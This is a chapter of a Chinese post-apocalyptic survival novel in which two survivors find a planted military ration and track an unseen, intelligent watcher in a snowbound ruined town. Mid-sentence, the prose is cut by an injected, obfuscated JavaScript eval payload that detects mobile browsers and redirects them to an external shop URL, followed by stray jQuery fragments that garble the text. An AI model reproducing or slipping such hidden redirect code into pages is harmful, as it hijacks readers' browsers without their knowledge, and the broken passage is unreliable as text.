持续了大半个月的雪停期，终于显露出了疲态。天空不再是那种被洗刷过的、冷酷的灰蓝，而是蒙上了一层浑浊的、预示着什么的铅灰色。


    风重新变得料峭，卷起地上板结的雪沫，抽打在断壁残垣上，发出细碎而顽固的声响。


    藏身点内，那个被陆昭妄修好、笼子缺了半边的鸟笼取暖器，正兢兢业业地散发着有限的热量，插头连接着墙上那个依旧能正常供电的神秘插座，仿佛地底深处埋藏着一个永不枯竭的、沉默的能源心脏。


    角落里的物资已经堆叠出了一种令人心安的规模——整齐码放的罐头、维修工具、以及用各种容器分装好的净水。生存的压力暂时退居二线，探索的重心在过去几天里便已自然而然地发生了偏移。


    陆昭妄系紧鞋带，动作间带着一种不同于往日搜寻物资时的、更加凝练的专注。


    他的目标早已不再是那些可能藏着一罐豆子或半瓶水的橱柜，而是小镇本身，是那些尚未踏足的角落，以及潜藏在死寂之下的、流动的讯息。


    “我再去东边那片转转，”他拿起那根磨得愈发尖锐的金属水管，对正在整理观察记录的沈悬衡说，“上次只在边缘看了看，这次往里探探。”


    沈悬衡从笔记本上抬起头，目光掠过他肩上的背包——比以往轻便许多，里面更多是工具和标记物，而非沉重的搜集袋。


    “小心点，”她声音平稳，“风向变了，湿度在增加。”


    陆昭妄点了点头，表示收到。


    推开经过伪装的入口，一股比室内凛冽得多的寒气瞬间包裹了他。


    他深吸一口冰冷的空气，像一道融入背景的影子，悄无声息地滑入了废墟的脉络之中。


    他的路线选择比之前更加大胆，也更注重对地形结构的记忆。


    他在断墙上留下只有自己能看懂的细微刻痕，记录路径和视野范围。


    他绕过那些已被反复确认安全的区域，直插之前未曾深入的交界地带——那里是边缘废墟与小镇更核心区域的过渡，寂静中透着一种难以言喻的张力。


    就在一处背风的、半塌的断墙下——他清晰地记得，这里是大约十天前，他首次发现那些步幅奇特、又诡异消失的非人爪印的地方——他的脚步蓦地停住。


    视线锁定在墙角一块相对干净、避开了积雪的石头上。


    那里，放着一份军用单兵自热食品。


    包装完好，色彩鲜明，甚至没有多少灰尘，在这片被时光和灾难侵蚀得色调灰败的环境里，扎眼得如同黑夜里的萤火虫。


    陆昭妄的瞳孔微不可查地收缩了一下。


    他没有立刻上前，甚至没有做出任何靠近的动作。


    他就站在原地，身体微微低伏，如同嗅到陷阱气息的野兽，目光锐利地扫视着四周。


    屋顶的残骸、窗户的空洞、远处街角的阴影……任何可能藏匿视线的地方，都被他快速而沉默地检索了一遍。


    太新了。


    新得离谱。


    就像刚从某个密封良好的后勤仓库里直接转运过来，随手放在了这里。


    和他身上沾染的尘土、脚下踩着的碎砾、以及周围无处不在的衰败气息，格格不入。


    他缓缓蹲下身，与那袋食物保持着安全距离，利用金属水管伸过去，小心翼翼地拨弄了一下包装袋。


    翻看生产日期，清晰可见；检查密封条，完好无损。


    没有任何自然老化或被数据风暴侵蚀的痕迹。


    然后，他想起了这个地方——爪印出现又消失之地。


    一个冰冷的念头瞬间窜过脑海：爪印是假的？或者，那东西和这包食物根本无关？这只是某个“存在”精心挑选的、用来引起他注意的舞台？


    天上不会掉馅饼，尤其是在末世。如果掉了，那一定是铁馅饼，能把人砸死的那种。


    他没有丝毫犹豫，更别提去碰那包食物。


    相反，他用脚将旁边的积雪和沙土踢起来，均匀地扬洒在包装袋上，又用水管拨弄了几下旁边的碎石，将其半掩起来，完美地伪装成一件被遗弃许久、无人问津的垃圾。


    做完这一切，他再次警惕地环顾四周，随即转身，没有沿着来路返回，而是选择了一条更加迂回、复杂，需要穿越数栋危楼内部的路线。他每一步都落在阴影或杂物之后，动作轻盈得如同狸猫，并且每隔一段距离，就会突然静止，屏息凝神，捕捉着风中任何一丝不协调的声响，或是视野里任何一帧不自然的晃动。


    饵已经出现，垂钓者必然就在附近的水域。他现在要做的，不是咬钩，而是找出那个握着钓竿的人，或者……东西。


    陆昭妄返回藏身处的路线，比去时多绕了将近一倍。


    他不再仅仅是为了规避危险，更像是在进行一场无声的挑衅与测试。


    每一次突兀的停顿，每一次毫无征兆的转向，都是在向可能存在的监视者宣告：我知道你在看，有本事就跟上来。


    他甚至在一条狭窄的、两侧都是高墙的巷道里，驻足片刻，从背包侧袋摸出一小段之前搜集的、近乎透明的鱼线，和几颗随手捡来的小石子。


    他熟练地将鱼线一端系在巷道一侧墙根的突出钢筋上，另一端绕过几块松动的砖块，形成一个简单的绊索，再将小石子虚搭在砖块顶端。


    只要有人以稍快的速度经过，绊动鱼线，砖块失去平衡，石子便会滚落发出声响。这是一个简陋但有效的预警装置。


    当他最终迂回到能够望见藏身处那片区域的安全距离时，天色已经比平日归来时黯淡了许多。


    他没有立刻靠近，而是借助一堵断墙的掩护，再次静止下来，如同融入了岩石的阴影，用全身的感官去捕捉任何一丝异常。风声、远处山脊线上秩序行者规律移动的微小声响、甚至自己心脏缓慢而有力的搏动……在确认没有尾巴，周围环境与他离开时别无二致后，他才深吸一口气，按下了腰间对讲机的发射键——前几天他欧气爆棚，在一个小卖部储物柜的最底层，翻出来了足以完全修好对讲机接收和发送功能的零部件。


    “是我。”


    他的声音压得很低，透过劣质的扬声器传出，带着一丝电流的杂音。


    “准备开门，外面‘风’有点大。


    入口处的伪装被从内部小心地移开一道缝隙，陆昭妄侧身闪入，动作流畅迅速。沉重的障碍物随即被重新归位，将渐起的寒意与潜在的危险一同隔绝在外。


    温暖的空气裹挟着鸟笼取暖器特有的、微弱的金属加热气味扑面而来。


    陆昭妄靠在门边，没有立刻卸下装备，而是先仔细聆听了片刻外面的动静，才缓缓吐出一口一直憋着的气。


    沈悬衡已经回到了她常坐的位置，目光落在他身上，带着询问。


    陆昭妄一边解开外套的扣子，让身体适应室内的温度，一边用他那特有的、带着点玩世不恭却又异常清醒的语气开始了叙述：


    “猜猜我今天在‘老朋友’——就是上次发现那些奇怪爪印的墙根底下，发现了什么？”他顿了顿，仿佛在卖个关子，但眼神里没有丝毫笑意，“一份包装精美、品相崭新得像是刚从军需官手里偷出来的单兵口粮。”


    他走到取暖器旁，伸出手烤着，继续道，语气里的嘲讽意味更浓了：“就那么大剌剌地放在石头上，像是生怕路过的蚂蚁看不见。可惜，这顿‘外卖’看着诱人，配菜却不太对劲，闻着像是‘好奇心害死猫’，主菜估计是‘请君入瓮’。”


    沈悬衡的眉头几不可查地蹙起：“有人想引你过去。”


    “而且手法很讲究，”陆昭妄接过她的话头，转身看向她，眼神锐利，“知道利用之前的异常痕迹混淆视听，投其所好。对我们的行动规律，甚至可能的需求，都有一定了解。这不像那些脑子里只有固定程序的巡逻机器能干出来的事。更像是个……有耐心，有脑子，并且在暗处观察了我们一段时间的猎手。”


    他走到水壶边，给自己倒了半杯水，仰头喝下，冰凉的液体让他因持续警惕而有些发热的头脑稍微冷静。


    “我检查过了，东西本身没问题，是真的。但出现的方式和地点，问题太大了。我没动，把它伪装成了废弃品。”


    沈悬衡沉默着，手指无意识地在笔记本的边缘摩挲。


    她在脑中快速过滤着所有已知的信息——江敛的沉稳务实、祝昭的率真、甚至“屠夫”那伙人的粗暴直接——都与这种精密的、带着心理博弈色彩的引诱方式对不上号。


    “排除所有已知选项，”她抬起眼，声音低沉，“结论指向未知。小镇里存在我们之前未曾察觉的、具备高度智能且意图不明的第三方。有可能是制作入口处封锁物的主人。”


    陆昭妄扯了扯嘴角，那笑容里没什么温度：“他们在试探，试探我们的警惕心，更试探我们的好奇心。今天我没咬钩，他们要么就此收手，要么……”他目光扫向窗外愈发阴沉的天色，“会下更香的饵，或者，干脆换种不那么客气的方式，‘邀请’我们去做客。”


    他走到窗边，透过缝隙望着外面铅灰色的天空。


    “天气在变坏，留给双方‘彬彬有礼’试探的时间，恐怕不多了。”


    次日，天色未明，陆昭妄便已准备停当。


    他没有携带任何可能暴露意图的多余装备，只在腰间别着那根磨尖的水管和对讲机。


    临行前，他与沈悬衡交换了一个眼神，无需多言，彼此都清楚今天的行动目标并非搜集，而是验证与反制。


    他没有再去那片已被标记为“饵区”的断墙，而是径直朝着小镇中几个视野开阔、利于观察也利于隐藏的制高点移动。


    他的步伐比以往更加飘忽，路线选择充满了欺骗性，时而快速穿越大片开阔地，时而长时间潜伏在废弃建筑的阴影中，如同一个耐心的猎手，只不过他狩猎的对象，是可能存在的另一双眼睛。


    在一个十字路口，他注意到一堆废墟瓦砾的形态有些异样，几块砖石的摆放位置过于“合理”，仿佛刻意留出了一个观察或通过的缺口。


    这像是一个低级的陷阱，或者……一个低级的测试。


    陆昭妄心中冷笑。


    他没有靠近，反而在远处利用一面破碎窗户的反光，仔细观察那片区域及其周边。他没有动用任何非常规的能力，仅凭肉眼和经验判断。


    果然，在对面一栋二层小楼某个没有玻璃的窗口后，他捕捉到了一点极其短暂的移动阴影，速度快得惊人，几乎超出他视觉捕捉的极限。


    他没有立刻追击，而是迅速低下身，利用残垣掩护，向相反方向移动了一段距离，然后猛地改变路线，开始向那栋小楼侧后方迂回。


    他动作迅捷而无声，每一步都踩在坚实的支撑点上，避开松动的碎石。


    然而，当他如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647174|188195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同狸猫般悄无声息地潜到那栋小楼预判的撤离路线上时，那里空空如也。


    只有一块地面上的积雪被某种力量压实，形成了一个模糊的、非人类的足迹边缘，但痕迹同样被刻意处理过，无法追踪去向。


    空气中残留着一丝极淡的、类似金属摩擦后又迅速消散的气味。


    对方不仅反应极快，而且撤退路线刁钻，清理痕迹的手法专业得令人心惊。


    陆昭妄站在原地，眉头紧锁。他意识到自己面对的绝非等闲之辈。


    这种敏捷、警惕和反追踪能力，远超他之前遇到的任何活物或怪物。


    他原本以为需要提防的是某种利用环境设置陷阱的智慧体，现在看来，对方本身就是一个极其危险的存在。


    他没有继续徒劳地追寻，那只会暴露更多自己的行动模式。


    陆昭妄改变了策略，开始在外围游弋，利用复杂地形和建筑物死角，不断变换位置，试图从不同角度勾勒出这个“监视者”可能的活动范围和习惯路径。他像一枚不甘被掌控的棋子，在棋盘上肆意移动，试图看清执棋者的手。


    整个白天，他都在这种高强度的移动与静默观察中度过。


    期间，他又两次隐约感觉到那种被注视的芒刺在背之感，但每次当他试图锁定来源时，那感觉又如同潮水般退去，消失得无影无踪。


    直到天色再次开始转暗，他才带着一身疲惫和更深的警惕，踏上了返程的路。


    这一次，他比昨天更加小心，绕了更远的路，甚至故意在一些可能被观察到的区域做出虚假的探查动作，试图迷惑对方。


    当他终于回到藏身处附近，再次使用对讲机发出安全信号，并得到沈悬衡的回应时，紧绷了一整天的神经才略微松弛下来。推开伪装入口，重新感受到那鸟笼取暖器带来的微弱暖意，他靠在冰冷的墙壁上，缓缓吐出一口浊气。


    “怎么样？”沈悬衡看着他脸上难以掩饰的凝重，开口问道。


    陆昭妄摇了摇头，声音带着长时间保持静默后的沙哑：“甩不掉的影子，摸不到的身。”


    陆昭妄靠在冰冷的墙壁上，将白天遭遇的种种细节，包括那快如鬼魅的阴影、被刻意清理的痕迹、以及对方展现出的惊人反追踪能力，都清晰地转述给沈悬衡。


    末了，他补充了一句，语气带着惯有的、对危险近乎本能的嗅觉：“外面的云层厚得能拧出水，风里带着冰碴子。这鬼天气的‘假期’，我看是快到头了。”


    沈悬衡走到窗边，透过那道被他们反复擦拭以保证视野的缝隙，望向远处在暮色中更显阴森的山脊线。


    那些“秩序行者”的剪影依旧在移动，但频率似乎有了一丝难以察觉的变化。


    “如果天气恶化，重新开始降雪，”她观察了片刻，声音平稳地分析，“根据之前的记录，它们的巡逻频率和覆盖范围会明显降低。大雪会掩盖一切，包括痕迹，也同样会阻碍它们的感知和行动。”这是她基于长达数月观察总结出的规律，冷静而客观。


    陆昭妄立刻抓住了她话中隐含的可能性：“你的意思是，雪如果真下大了，对‘它们’是障碍，对我们也是。但如果我们卡在雪完全回来之前、天色已暗的这个时间点行动，既能借着夜色躲开白天的眼睛，又可能因为天气还没彻底烂掉，不至于在外面冻成冰雕？”


    “这只是理论上的窗口期。”沈悬衡转过身，面容在取暖器微弱的光线下显得异常严肃，“夜间行动本身变数太大。超低温、几乎为零的可见度、完全未知的夜间威胁……我们现有的装备，不足以支撑我们在那种环境下长时间活动。”她的倾向很明显，倾向于利用可能到来的大雪作为天然屏障，固守，等待，尽管他们等待的或许只是下一个困境。


    “固守当然最安全，”陆昭妄反驳，他习惯性地在脑海中权衡着风险与收益，“但也等于把接下来是死是活的主动权，完全交到了那个不知是人是鬼的‘邻居’手里。他们明显在赶时间，谁知道他们会不会在大雪封路前，给我们来个‘最后的晚餐’？被动挨打可不是我的风格。”


    他顿了顿，眼神锐利：“夜间行动风险是高，但可能是我们唯一能摸清他们底细，甚至找到一丝破局机会的时候。”


    藏身点内陷入了短暂的沉默，只有鸟笼取暖器持续散发着微不足道的暖意。


    固守的“已知风险”与夜探的“未知风险”在天平两端摇晃，每一种选择都伴随着巨大的代价。


    最终，陆昭妄看向沈悬衡，没有强行做出决定，而是提出了一个更为审慎的步骤：“硬闯不行，蛮干更不行。”他声音低沉下去，“今晚我们先轮流值守，眼睛放亮些，一是防着他们可能狗急跳墙来硬的，二是仔细看看夜里到底是什么光景，比刚来时那会儿看得更细。之后几天，我们白天彻底闭门不出，把所有可能来不及隐藏的尾巴都清理干净。再利用雪停期结束前的最后两个晚上，摸清楚夜间的具体规律。如果条件允许……就在大雪彻底封门前的最后一晚，行动。”


    这个计划，将冒险的冲动压后，代之以阶梯式的谨慎推进，既回应了迫近的威胁，也最大程度尊重了生存的严峻现实。


    夜色，如同浓稠的墨汁，彻底浸透了小镇的每一寸废墟。


    在这片被严寒与未知笼罩的死寂世界里，两个渺小的生灵，开始为他们在这个冬季可能最为冒险的一次行动，默默地倒数着时间。